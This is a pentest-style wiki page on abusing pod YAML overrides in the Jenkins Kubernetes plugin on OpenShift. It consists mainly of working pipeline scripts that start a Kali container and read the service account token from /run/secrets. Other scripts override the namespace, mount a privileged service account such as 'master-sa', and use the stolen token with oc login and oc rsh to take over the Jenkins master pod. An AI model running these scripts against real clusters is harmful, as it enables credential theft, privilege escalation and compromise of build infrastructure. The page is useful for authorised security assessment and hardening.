OpenShift - Jenkins Build Pod Override

The original author of this page is Fares

Kubernetes plugin for Jenkins

This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation here It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.

Core functionnality

This plugin allows flexibility to developers when building their code in adequate environment.

podTemplate(yaml: '''
    apiVersion: v1
    kind: Pod
    spec:
      containers:
      - name: maven
        image: maven:3.8.1-jdk-8
        command:
        - sleep
        args:
        - 99d
''') {
  node(POD_LABEL) {
    stage('Get a Maven project') {
      git 'https://github.com/jenkinsci/kubernetes-plugin.git'
      container('maven') {
        stage('Build a Maven project') {
          sh 'mvn -B -ntp clean install'
        }
      }
    }
  }
}

Some abuses leveraging pod yaml override

It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image. In the example below we can exfiltrate the serviceaccount token of the running pod.

podTemplate(yaml: '''
    apiVersion: v1
    kind: Pod
    spec:
      containers:
      - name: kali
        image: myregistry/mykali_image:1.0
        command:
        - sleep
        args:
        - 1d
''') {
  node(POD_LABEL) {
    stage('Evil build') {
      container('kali') {
        stage('Extract openshift token') {
          sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
        }
      }
    }
  }
}

A different synthax to achieve the same goal.

pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                    spec:  
                        containers:
                        - name: kali-container
                          image: myregistry/mykali_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                        echo 'Hello from a docker container'
                        sh 'env'
                    }
                }
            }
        }
    }
}

Sample to override the namespace of the pod

pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                	metadata:
                		namespace: RANDOM-NAMESPACE
                    spec:  
                        containers:
                        - name: kali-container
                          image: myregistry/mykali_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                        echo 'Hello from a docker container'
                        sh 'env'
                    }
                }
            }
        }
    }
}

Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.

pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                    spec:
                    	serviceAccount: MY_SERVICE_ACCOUNT
                        containers:
                        - name: kali-container
                          image: myregistry/mykali_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                        echo 'Hello from a docker container'
                        sh 'env'
                    }
                }
            }
        }
    }
}

The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.

Going further

Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.

Ask yourself the following questions:

• Which service account is being used to deploy build pods?

• What roles and permissions does it have? Can it read secrets of the namespace I am currently in?

• Can I further enumerate other build pods?

• From a compromised sa, can I execute commands on the master node/pod?

• Can I further enumerate the cluster to pivot elsewhere?

• Which SCC is applied?

You can find out which oc/kubectl commands to issue here and here.

Possible privesc/pivoting scenarios

Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called worker-ns. You figured out that a default serviceaccount called default-sa is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called master-sa. Let's also assume that you have the oc command installed inside the running build container.

With the below build script you can take control of the master-sa serviceaccount and enumerate further.

pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                    spec:
                    	serviceAccount: master-sa
                        containers:
                        - name: evil
                          image: random_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                    	sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
                        sh 'oc --token=$token whoami'
                    }
                }
            }
        }
    }
}

Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:

oc login --token=$token --server=https://apiserver.com:port

If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.

oc rsh pod_name -c container_name

In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called jenkins-master. Keep in mind that serviceAccount master-sa needs to exist on the jenkins-master namespace (and might not exist in worker-ns namespace)

pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                	metadata:
                		namespace: jenkins-master
                    spec:
                    	serviceAccount: master-sa                 
                        containers:
                        - name: evil-build
                          image: myregistry/mykali_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                        echo 'Hello from a docker container'
                        sh 'env'
                    }
                }
            }
        }
    }
}